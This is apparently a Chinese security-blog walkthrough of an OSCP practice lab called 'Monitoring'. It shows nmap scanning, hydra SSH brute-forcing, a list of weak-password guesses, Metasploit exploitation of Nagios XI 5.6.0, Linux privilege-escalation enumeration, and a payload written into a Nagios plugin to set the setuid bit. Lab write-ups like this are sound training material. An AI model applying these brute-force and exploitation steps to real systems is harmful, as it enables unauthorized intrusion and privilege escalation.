freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSCP系列靶场-Esay-Monitoring
杳若 2023-09-20 08:39:01 115017

总结

getwebshell: 登录处的最佳实践(弱口令)进入后台 →msf历史漏洞利用

提 权 思 路: 发现suidcheck文件 →msfcheck插件漏洞利用

准备工作

  • 启动VPN
    获取攻击机IP →192.168.45.191

  • 启动靶机
    获取目标机器IP →192.168.179.136

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.179.136

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
5667/tcp open  unknown


开放的端口-→22,25,80,389,443,5667

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,25,80,389,443,5667 192.168.179.136

PORT     STATE SERVICE    VERSION                            
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)    
25/tcp   open  smtp       Postfix smtpd             
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
5667/tcp open  tcpwrapped

这样看的话开放的端口是挺多的

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu 4ubuntu2.10

# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root @192.168.179.136 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# sudo ssh root @192.168.179.136 -p 22
root @192.168.179.136's password: root
Permission denied, please try again.


弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

25-SMTP端口(待定)

25/tcp open smtp Postfix smtpd
该端口接触较少,先待定,和邮件有关

80-HTTP端口的信息收集

访问http://192.168.179.136:80看上去是一个标准的CMS


戳了一下Access Nagios XI跳转到了登录窗口

信息收集-网站指纹

┌──(root㉿Kali)-[/home/bachang/Monitoring]
└─# whatweb http://192.168.179.136:80
http://192.168.179.136:80 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.179.136], JQuery[3.3.1], Script[text/javascript], Title[Nagios XI]

CMSNagios XI

漏洞利用-网站指纹

searchsploit Nagios XI


总体来说利用是需要版本的,前面一些不需要版本,尝试直接使用

msf6 → search Nagios XI

use 3

选择了较新且rank好的,查看了一下发现是需要密码的

信息收集-HTML隐藏信息查看(无)

# 包括文章中是否写明一些敏感信息
curl http://192.168.179.136:80

信息收集-目录扫描

信息收集-目录扫描初步
dirsearch -u http://192.168.179.136:80 -x 302,403

漏洞利用-getwebshell

在目录扫描的同时其实在思考这应该是一个标准的CMS,是否会存在通用脆弱口令的情况(MSF的利用需要密码)。

登录端点的最佳实践

  • 尝试寻找网上是否存在该cms的登录凭证


得到账户以及密码nagiosadmin:nagios
登录之后发现不正确

  • 利用默认登录凭证测试弱口令漏洞
    测试nagiosadmin的弱口令密码,主要测试

  1. 数字序列:例如123456、123456789、111111等简单的数字序列。

  2. 字母序列:例如abcdefg、qwerty、password等简单的字母序列。

  3. 字典词汇:例如admin、password、12345678等常见的字典单词。

  4. 重复字符:例如11111、aaaaaa等重复的字符序列。

  5. 键盘连续字符:例如qwertyuiop、asdfghjkl等键盘上连续的字符。

123456     #  数字序列
123456789  #  数字序列
987654321  #  数字序列
admin      #  字典词汇
password   #  字典词汇
root       #  字典词汇
111111     #  重复字符
aaaaaa     #  重复字符
abcdefg    #  键盘连续字符
qwertyuiop #  键盘连续字符

在测试的过程中,发现利用admin进入了后台

得到版本信息Nagios XI 5.6.0

指纹漏洞利用实践

MSF利用一(失败)

既然知道了密码admin尝试利用之前的msf

提示版本错误,那重新搜索吧

MSF利用二(失败)

msf6 → search Nagios XI 5.6.0

发现只有一个,尝试利用


设置完信息之后进行运行,连接成功但是没有创建会话


决定换个payloads进行尝试,发现能成功连接但是运行不成功,可能是该exp不行

MSF利用三

msf6 → search Nagios

发现了多个,根据内容进行筛选


总感觉大部分都能用,但是3和4用了都不太行,决定用退求其次
在这里10和11中选择了11进行尝试


成功getwebshell

内网遨游-getshell

交互shell

# 利用python获取交互shell
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取(无)

find / -name local.txt 2→/dev/null

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ lsb_release -a

No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.7 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ uname -a
Linux ubuntu 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问https://gtfobins.github.io寻找

# 利用sudo -l寻找
sudo -l


使用的时候需要密码 唔

列举出所有suid文件

如果发现u=s有东西的话 访问https://gtfobins.github.io寻找

# -perm 文件权限
find / -perm -u=s -type f 2→/dev/null

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1985 Sep  8  2020 /etc/passwd

/etc/shadow权限收集

  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权

  • 如果/etc/shadow具有可读权限可以爆破密码

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /etc/shadow
ls -al /etc/shadow
-rw-r----- 1 root shadow 1244 Mar 23  2021 /etc/shadow
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ 

getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2→/dev/null
# 无

列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

查看历史信息

可能用户留下的历史信息具有有用的信息

history

无信息

确认/home目录下信息

/home目录下的用户可以做账号字典尝试弱密码以及爆破

www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home
total 12
drwxr-xr-x  2 coconut coconut 4096 Mar 23  2021 coconut
确认当前用户home目录下是否有隐藏文件
# 例如.ssh找密码  ./*_history找历史记录等
www-data @ubuntu:/usr/local/nagiosxi/html/admin$ ls -al /home/coconut
lrwxrwxrwx 1 root    root       9 Jan 28  2021 .bash_history -→ /dev/null
-rw-r--r-- 1 coconut coconut  220 Sep  8  2020 .bash_logout
-rw-r--r-- 1 coconut coconut 3771 Sep  8  2020 .bashrc
-rw-r--r-- 1 coconut coconut  655 Sep  8  2020 .profile


尝试弱密码无效,准备利用hyrda尝试

# -P 指定密码字典
hydra -l coconut -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.179.136 ssh -s 22

在爆破的过程中研究一下suid文件


尝试写入恶意内容进行利用

echo'#!/bin/sh
chmod +s /usr/bin/find' → /usr/local/nagios/libexec/check_dhcp

写入之后发现再用find查阅不是suid

收集中的思考

收集了半天,却没发现什么有用的内容,真有意思
这时候就是努力学习的过程,参考了网上的wp,他们用了msf中的第10个
而我用了第11个


这时候灵光一闪,理解了为什么用10是直接root权限,这也是全网都没人写的
回到suid权限文件收集,可以发现了利用check是直接root的,那么rce也是直接root

权限提升

suid之check_plugin权限提升

search Nagios
use 10


经过了一系列的设置之后run
提权成功

FLAG2获取

cat /root/proof.txt
0559c8f500a23ba2628189a1b06b557f

完结撒花~

思考

在利用msf搜索的时候,有时候不能太精确的搜索版本

在内网中细节还是要注意,虽然我之前看到了suidcheck_icmp,没有利用成功,可以考虑从外部尝试

find suid都要试试看先比较好

后记

发现

# 才知道是可以这样执行的
sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *  
# 不过查看了一下权限,只能读
ls -al /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php   
-r-xr-x--- 1 root nagios 177241 Sep  8  2020 /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php    
# 渗透测试 # 网络安全 # web安全 # 系统安全 # 网络安全技术
本文为 杳若 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
杳若 LV.6
这家伙太懒了,还未填写个人描述!
  • 46 文章数
  • 28 关注者
记一个奇怪的万能密码
2024-01-24
OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19
绕过断言的LFI-Assertion101
2023-09-18
文章目录